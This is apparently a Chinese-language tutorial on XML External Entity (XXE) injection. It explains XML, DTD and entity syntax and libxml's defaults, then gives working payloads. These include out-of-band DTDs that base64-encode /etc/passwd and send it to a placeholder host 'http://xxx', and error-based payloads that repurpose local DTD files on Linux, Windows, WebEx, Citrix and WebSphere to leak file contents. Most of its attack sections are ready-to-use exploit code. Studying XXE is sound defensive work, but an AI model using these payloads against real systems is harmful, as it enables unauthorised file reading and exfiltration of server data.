0x01 简介
先搬上先知的一段总结
i. XML
XML是类似HTML的标记语言,但它们有所不同。
- 其一,HTML用于表现数据,关注数据的表现形式,XML用于存储和传输数据,关注数据本身。
- 其二,HTML的标签是预定义的,而XML的标签是自定义的,或者说,任意的。
- 此外,XML语法更严格,其标签必须闭合且正确嵌套,大小写敏感,属性值必须加引号,保留连续空白符。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。
ii. DTD
XML元素以形如 <tag>foo</tag>
的标签开始和结束,如果元素内部出现如 <
的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义了五个实体引用,即用< > & ' "
替换 < > & ' "
。
实际上,实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。DTD是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。
DTD有两种形式:
内部 DTD:
<!DOCTYPE 根元素 [元素声明]>
外部 DTD:
<!DOCTYPE 根元素 SYSTEM "存放元素声明的文件的URI,可以是本地文件或网络文件" [可选的元素声明]>
<!DOCTYPE 根元素 PUBLIC "PUBLIC_ID DTD的名称" "外部DTD文件的URI">
( PUBLIC表示 DTD文件是公共的,解析器先分析 DTD名称,没查到再去访问 URI)
iii. ENTITY
我们可以在元素声明中自定义实体,和DTD类似也分为内部实体
和外部实体
,此外还有普通实体
和参数实体
之分:
声明
<!DOCTYPE 根元素 [<!ENTITY 内部普通实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY 外部普通实体名 SYSTEM "外部实体的URI">]>
<!DOCTYPE 根元素 [<!ENTITY % 内部参数实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY % 外部参数实体名 SYSTEM "外部实体的URI">]>
除了 SYSTEM关键字外,外部实体还可用 PUBLIC关键字声明。
URL 支持的协议
引用
&普通实体名; //经实验,普通实体既可以在 DTD 中,也可以在 XML 中引用,可以在声明前引用,可以在在元素声明内部引用
%参数实体名; //经实验,参数实体只能在 DTD 中引用,不能在声明前引用,不能在元素声明内部引用
注意事项
外部 DTD 中,如果外部(普通|参数)实体中想要引用内部参数实体,需要在此实体上层添加内部(普通|参数)实体声明,并先引用上层内部实体
原因可能是在内部实体中引用会将值解析进去,而外部实体只会直接请求 URL 字符串,不解析其中的引用
外部 test.dtd 文件 <!------- Failure -------> <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % send SYSTEM "http://xxx/?%file;"> %send; <!------- Success -------> <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % top ' <!ENTITY % send SYSTEM "http://xxx/?%file;"> '> %top; %send;
在内部 DTD 中,不能在实体声明中出现实体引用
<!------- Failure -------> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ENTITY % in "123"> <!ENTITY % out "%in;"> %out; ]>
会报错
PEReferences forbidden in internal subset in Entity
,XML 文档中对此有所提及Well-formedness constraint: PEs in Internal Subset
In the internal DTD subset, parameter-entity references must not occur within markup declarations; they may occur where markup declarations can occur. (This does not apply to references that occur in external parameter entities or to the external subset.)
iv. 可能造成的危害
- 本地文件读取
- 内网访问,主机/端口扫描
- 网络访问
- 系统命令执行(特定协议,如PHP的expect)
- 拒绝服务(嵌套引用,指数爆炸)
v. Libxml 与 PHP
自 libxml 2.9.0 以后,开始默认禁止解析外部实体,与 PHP 版本没有根本性关系
v2.9.5: Sep 04 2017
Security:Detect infinite recursion in parameter entities (Nick Wellnhofer)
Prevent unwanted external entity reference
v2.9.2: Oct 16 2014
Security:
Fix for CVE-2014-3660 billion laugh variant (Daniel Veillard),
CVE-2014-0191 Do not fetch external parameter entities (Daniel Veillard)
2.9.1: Apr 19 2013
Activate detection of encoding in external subset
2.9.0: Sep 11 2012
Do not fetch external parsed entities
0x02 OOB XXE
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY % load SYSTEM "http://xxx/external.dtd">
%load;
]>
external.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % top '
<!ENTITY % send SYSTEM "http://xxx/?%file;">
'>
%top;
%send;
0x03 Error XXE
通常用于无法访问外网,加载自定义外部 DTD 时候采用,需要服务器开启相关报错
i. Local DTD
作者假设在服务器内发现一个sip-app_1_0.dtd
文件,其内容如下
…
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>
…
作者payload,通过替换%condition;
值,由于是由payload发起调用dtd,所以在有两个同名实体的情况下,以第一个为主,即payload中的声明为主
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
<!ENTITY % condition 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message>any text</message>
本地 DTD 文件
作者发现了几个常见的本地 DTD 文件
Linux 系统
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
Windows系统
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
思科WebEx
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
Citrix XenMobile服务器
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
多平台IBM WebSphere应用
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;
ii. Without Local DTD
来自于 P 牛的知识星球,貌似在嵌套实体中,可以在标记声明中出现内部参数引用?
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % NUMBER '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%NUMBER;
]>
<message>any text</message>